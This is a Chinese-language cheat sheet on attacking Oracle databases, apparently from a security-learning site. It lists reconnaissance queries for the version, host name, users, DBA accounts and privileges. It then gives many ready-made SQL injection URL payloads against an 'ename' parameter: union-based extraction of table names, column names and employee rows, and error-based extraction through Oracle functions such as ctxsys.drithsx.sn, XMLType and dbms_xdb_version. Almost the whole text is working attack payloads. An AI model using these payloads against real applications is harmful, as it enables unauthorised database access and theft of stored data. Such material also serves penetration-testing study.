Oracle Database,又名 Oracle RDBMS,或简称 Oracle。是甲骨文公司的一款关系数据库管理系统。它是在数据库领域一直处于领先地位的产品。可以说 Oracle 数据库系统是世界上流行的关系数据库管理系统,系统可移植性好、使用方便、功能强,适用于各类大、中、小微机环境。它是一种高效率的、可靠性好的、适应高吞吐量的数据库方案。
link
Oracle 信息收集
查询数据库版本信息,主意大小写
-- 无需特权
SELECT banner FROM v$version WHERE banner LIKE 'Oracle%';
-- 需要特权
SELECT version FROM v$instance;
查询操作系统版本
SELECT banner FROM v$version where banner like 'TNS%';
查询数据库运行的主机名
-- 需要特权
SELECT UTL_INADDR.get_host_name FROM dual;
-- 需要特权
SELECT host_name FROM v$instance;
-- 需要特权
SELECT UTL_INADDR.get_host_name('127.0.0.1') FROM dual;
查询当前用户权限的所有数据库
SELECT DISTINCT owner,table_name FROM all_tables WHERE owner=user;
查询当前数据库名
-- 无需特权
SELECT global_name FROM global_name;
-- 无需特权
SELECT SYS.DATABASE_NAME FROM DUAL;
-- 需要特权
SELECT name FROM v$database;
-- 需要特权
SELECT instance_name FROM v$instance;
查询数据库所有用户
SELECT username FROM all_users ORDER BY username;
查询所有 DBA 用户
-- 需要特权
SELECT DISTINCT grantee FROM dba_sys_privs WHERE ADMIN_OPTION = 'YES';
查询当前数据库用户名
SELECT user FROM dual;
查询当前用户的系统权限
SELECT * FROM session_privs;
用户权限是执行特定类型的 SQL 语句或访问其他用户对象的权利,Oracle 中的权限可以分为系统权限和对象权限。前者是系统规定用户使用数据库的权限,后者是用户对其自己的表或视图的存取修改权限。
Oracle 有超过 100 种不同的系统权限,只有实例管理员或具有 ADMIN 特权的用户才能授予或撤销系统特权,关于每种系统权限的细节,请读者自行查阅其官方文档:System privileges
• 查询当前用户名的角色
SELECT * FROM session_privs;
Oracle 注入
联合注入
方法与一般的 SQL 联合注入相同。值得注意的是,Oracle 联合注入一般不使用数字占位,而是 NULL,因为使用数字占位可能会发生错误。
判断数据库类型
-- 使用 Oracle 专有的函数判断是否为 Oracle 数据库
?ename=-1' or to_char(1)=1--+
?ename=-1' or to_number('2e0')=2--+
查询当前用户下的所有表名
?ename=-1' union select NULL,NULL,(select table_name from user_tables where rownum=1),NULL from dual--+
?ename=-1' union select NULL,NULL,(select table_name from user_tables where rownum=1 and table_name<>'BONUS'),NULL from dual--+
?ename=-1' union select NULL,NULL,(select table_name from user_tables where rownum=1 and table_name not in ('BONUS','DEPT')),NULL from dual--+
?ename=-1' union select NULL,NULL,(select table_name from user_tables where rownum=1 and table_name not in ('BONUS','DEPT','EMP')),NULL from dual--+
?ename=-1' union select NULL,NULL,(select table_name from user_tables where rownum=1 and table_name not in ('BONUS','DEPT','EMP')),NULL from dual--+
查询表中的字段名
?ename=-1' union select NULL,NULL,(select column_name from user_tab_columns where table_name='EMP' and rownum=1),NULL from dual--+
?ename=-1' union select NULL,NULL,(select column_name from user_tab_columns where table_name='EMP' and rownum=1 and column_name not in ('EMPNO')),NULL from dual--+
?ename=-1' union select NULL,NULL,(select column_name from user_tab_columns where table_name='EMP' and rownum=1 and column_name not in ('EMPNO','ENAME')),NULL from dual--+
?ename=-1' union select NULL,NULL,(select column_name from user_tab_columns where table_name='EMP' and rownum=1 and column_name not in ('EMPNO','ENAME','JOB')),NULL from dual--+
?ename=-1' union select NULL,NULL,(select column_name from user_tab_columns where table_name='EMP' and rownum=1 and column_name not in ('EMPNO','ENAME','JOB','MGR')),NULL from dual--+
?ename=-1' union select NULL,NULL,(select column_name from user_tab_columns where table_name='EMP' and rownum=1 and column_name not in ('EMPNO','ENAME','JOB','MGR','HIREDATE')),NULL from dual--+
查询表中具体的数据
?ename=-1' union select NULL,NULL,(select ename from emp where rownum=1),NULL from dual--+
?ename=-1' union select NULL,NULL,(select ename from emp where rownum=1 and ename<>'SMITH'),NULL from dual--+
?ename=-1' union select NULL,NULL,(select ename from emp where rownum=1 and ename not in ('SMITH','ALLEN')),NULL from dual--+
?ename=-1' union select NULL,NULL,(select ename from emp where rownum=1 and ename not in ('SMITH','ALLEN','WARD')),NULL from dual--+
?ename=-1' union select NULL,NULL,(select ename from emp where rownum=1 and ename not in ('SMITH','ALLEN','WARD','JONES')),NULL from dual--+
报错注入
MSSQL 数据库是强类型语言数据库,当类型不一致时将会报错,配合子查询即可实现报错注入。前提是服务器允许返回报错信息。
Oracle 数据库的报错注入是通过某些函数报错前进行子查询,再通过错误页面回显查询结果。下面介绍几种常见的报错注入函数的示例。
ctxsys.drithsx.sn
?ename=-1' or 1=ctxsys.drithsx.sn(1,'~'%7c%7c(select user from dual)%7c%7c'~')--+
?ename=-1' or 1=ctxsys.drithsx.sn(1,chr(126)%7c%7c(select user from dual)%7c%7cchr(126))--+
?ename=-1' or 1=ctxsys.drithsx.sn(1,'~'%7c%7c(select table_name from user_tables where rownum=1)%7c%7c'~')--+
?ename=-1' or 1=ctxsys.drithsx.sn(1,'~'%7c%7c(select table_name from user_tables where rownum=1 and table_name<>'DEPT')%7c%7c'~')--+
XMLType
?ename=-1' or (select upper(XMLType(chr(60)%7c%7cchr(58)%7c%7c(select user from dual)%7c%7cchr(62))) from dual) is not null--+
dbms_utility.sqlid_to_sqlhash
?ename=-1' or (select dbms_utility.sqlid_to_sqlhash('~'%7c%7c(select user from dual)%7c%7c'~') from dual) is not null --+
ordsys.ord_dicom.getmappingxpath
?ename=-1' or (select ordsys.ord_dicom.getmappingxpath('~'%7c%7c(select user from dual)%7c%7c'~') from dual) is not null --+
dbms_xdb_version.*
--dbms_xdb_version.checkin
?ename=-1' or (select dbms_xdb_version.checkin('~'%7c%7c(select user from dual)%7c%7c'~') from dual) is not null--+
--bms_xdb_version.makeversioned
?ename=-1' or (select dbms_xdb_version.makeversioned('~'%7c%7c(select user from dual)%7c%7c'~') from dual) is not null--+
--dbms_xdb_version.uncheckout
?ename=-1' or (select dbms_xdb_version.uncheckout('~'%7c%7c(select user from dual)%7c%7c'~') from dual) is not null--+